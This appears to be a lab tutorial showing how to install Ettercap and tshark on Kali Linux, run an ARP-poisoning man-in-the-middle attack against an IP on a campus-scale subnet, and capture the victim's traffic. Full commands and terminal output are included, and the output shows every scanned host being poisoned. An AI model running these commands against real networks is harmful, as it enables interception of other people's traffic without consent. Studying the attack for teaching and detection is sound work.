### 1. Open a terminal window:

Open the terminal by clicking on the terminal icon in the applications menu or by pressing Ctrl + Alt + T.

## 2. Install Ettercap:

To install Ettercap on Kali Linux, run the following command in the terminal:

sudo apt-get update sudo apt-get install ettercap-text-only

# 3. Run Ettercap for sniffing and ARP poisoning:

To run the Ettercap sniffing function through the terminal, you can use the following syntax:

### sudo ettercap -Tq -i [interface] -M arp:remote ///[target\_ip]

- -Tq is the flag for text-based interface mode and quiet mode, respectively.
- The -i flag specifies the network interface to use for sniffing.
- -M arp:remote specifies the ARP poisoning method.
- [target\_ip] specifies the target IP address or subnet that you want to sniff.
- sudo ettercap -Tq -i ens3 -M arp:remote ///141.26.68.159

```
mubeen@mubeen:~$ sudo ettercap -Tq -i ens3 -M arp:remote ///141.26.68.159
ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team
Listening on:
 ens3 → 1E:00:9B:00:00:1C
         141.26.68.158/255.255.248.0
         fe80::1c00:9bff:fe00:1c/64
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534 ...
 34 plugins
 42 protocol dissectors
 57 ports monitored
24609 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!
Randomizing 2047 hosts for scanning...
Scanning the whole netmask for 2047 hosts...
                                              ———>| 100.00 %
263 hosts added to the hosts list ...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing ...
Text only Interface activated ...
Hit 'h' for inline help
```

#### 4. Install Tshark

Tshark can be installed on most Linux distributions using the package manager. Here are the steps to install Tshark on a Debian-based distribution such as Ubuntu or Kali Linux:

Open a terminal window.

## **Install Tshark by running the following command:**

sudo apt-get install tshark

### Verify the installation by running the following command:

tshark -v

This should print the version of Tshark installed on your system.

That's it! You have successfully installed Tshark on your Linux system.

### 5. View activity of a specific system/IP:

• To see the activity of a specific system or IP, run the following command in the terminal:

sudo tshark -i ens3 "host 141.26.68.159"

```
mubeen@mubeen:=$ sudo tshark -i ens3 "host 141.26.68.159"
[sudo] password for mubeen:
Running as user "root" and group "root". This could be dangerous.
Capturing on 'ens3'
    1 0.000000000 le:00:9b:00:00:1c → AsustekI_03:52:65 ARP 42 141.26.68.159 is at 1e:00:9b:00:00:1c
2 0.000112628 le:00:9b:00:00:1c → 1e:00:26:00:00:1d ARP 42 141.26.64.103 is at 1e:00:9b:00:00:1c (duplicate use of 141.
3 2.687265048 le:00:9b:00:00:1c → de:0e:24:e2:d1:e4 ARP 42 141.26.68.159 is at 1e:00:9b:00:00:1c
4 2.687363583 le:00:9b:00:00:1c → 1e:00:26:00:00:1d ARP 42 141.26.64.102 is at 1e:00:9b:00:00:1c (duplicate use of 141.
5 5.364370520 le:00:9b:00:00:1c → f6:5d:5a:48:33:e2 ARP 42 141.26.68.159 is at 1e:00:9b:00:00:1c
6 5.364440028 le:00:9b:00:00:1c → 1e:00:26:00:00:1d ARP 42 141.26.64.95 is at 1e:00:9b:00:00:1c (duplicate use of 141.2
7 8.040340603 le:00:9b:00:00:1c → d2:13:85:59:cd:7b ARP 42 141.26.68.159 is at 1e:00:9b:00:00:1c (duplicate use of 141.2
9 10.725959427 le:00:9b:00:00:1c → 72:75:ee:2e:9a:1f ARP 42 141.26.68.159 is at 1e:00:9b:00:00:1c (duplicate use of 141.2
10 10.726020198 le:00:9b:00:00:1c → 1e:00:26:00:00:1d ARP 42 141.26.68.159 is at 1e:00:9b:00:00:1c
```

#### **References:**

https://www.kali.org/tools/ettercap/#ettercap-text-only

https://www.wireshark.org/docs/man-pages/tshark.html

Majumdar A, Raj S, Subbulakshmi T. ARP Poisoning Detection and Prevention using Scapy. *J Phys Conf Ser.* 2021;1911(1). doi:10.1088/1742-6596/1911/1/012022